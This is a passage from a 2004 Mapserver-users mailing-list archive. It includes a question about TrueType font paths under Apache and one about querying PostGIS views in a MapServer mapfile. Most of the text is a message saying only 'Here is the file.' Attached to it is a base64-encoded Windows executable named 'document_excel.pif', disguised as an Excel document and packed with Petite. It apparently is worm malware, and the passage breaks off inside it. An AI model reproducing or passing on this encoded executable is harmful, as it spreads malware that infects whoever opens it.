Group\Apache2\htdocs\tutorial\fonts\comicbd.ttf > courier C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\cour.ttf > courier-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\courbd.ttf > courier-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\couri.ttf > courier-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\courbi.ttf > georgia C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgia.ttf > georgia-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgiab.ttf > georgia-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgiai.ttf > georgia-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\georgiaz.ttf > impact C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\impact.ttf > tahoma C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\tahoma.ttf > tahoma-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\tahomabd.ttf > times C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\times.ttf > times-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\timesbd.ttf > times-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\timesi.ttf > times-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\timesbi.ttf > trebuchet_ms C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebuc.ttf > trebuchet_ms-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebucbd.ttf > trebuchet_ms-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebucit.ttf > trebuchet_ms-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\trebucbi.ttf > verdana C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdana.ttf > verdana-bold C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdanab.ttf > verdana-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdanai.ttf > verdana-bold-italic C:\Program > Files\Apache > Group\Apache2\htdocs\tutorial\fonts\verdanaz.ttf > > I have referenced every font to the apporiate > directory which was unzipped from the tutorial but I > still have the same error > Do I need to copy the fonts somewhere else other than > the one I referenced? > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > From hubert.froehlich at bvv.bayern.de Mon Mar 1 22:56:47 2004 From: hubert.froehlich at bvv.bayern.de (=?ISO-8859-1?Q?Hubert_Fr=F6hlich?=) Date: Tue, 02 Mar 2004 07:56:47 +0100 Subject: [Mapserver-users] MapServer and postgis using views Message-ID: <4044302F.1000300@bvv.bayern.de> Hello list, I use MapServer 4.0 / 4.0.1) with postgis. I have defined a layer in a static mapfile (no mapscript at all) LAYER CONNECTIONTYPE postgis NAME "flstpgx_poly" CONNECTION "dbname=ax host=va45c28 user=postgres" DATA "pgpoly from (select * from v_axflst_geom ) as foo using unique obnr using SRID=31494" HEADER "q_flstpgx_header.html" FOOTER "q_DEFAULT_footer.html" STATUS OFF TYPE POLYGON MAXSCALE 200000 # FILTER "gemeinde > 0" CLASS NAME "Flurst?cke" # EXPRESSION "gemschl > 0" TEMPLATE "q_flstpgx.html" COLOR -1 -1 -1 OUTLINECOLOR 200 0 0 END END v_axflst_geom is a view on a table axflst defining the subset of the attributes which I REALLY need. I have defined a template for browsing and querying the layer. Browsing is fine. Queries, however, result in an empty html message output. When I do not work with a view but read directly from the table with the mapfile entry DATA "pgpoly from axflst" the query seems fine. Did I miss something in dealing with views? Greetings, Hubert -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fr?hlich Bezirksfinanzdirektion M?nchen Alexandrastr. 3, D-80538 M?nchen, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2997 hubert dot froehlich at bvv dot bayern dot de From ed at topozone.com Tue Mar 2 00:07:09 2004 From: ed at topozone.com (ed at topozone.com) Date: Tue, 2 Mar 2004 09:07:09 +0100 Subject: [Mapserver-users] Re: Excel file Message-ID: <200403020808.i2288qAP023765@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0003_000067DC.00004925 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0003_000067DC.00004925 Content-Type: application/octet-stream; name="document_excel.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_excel.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 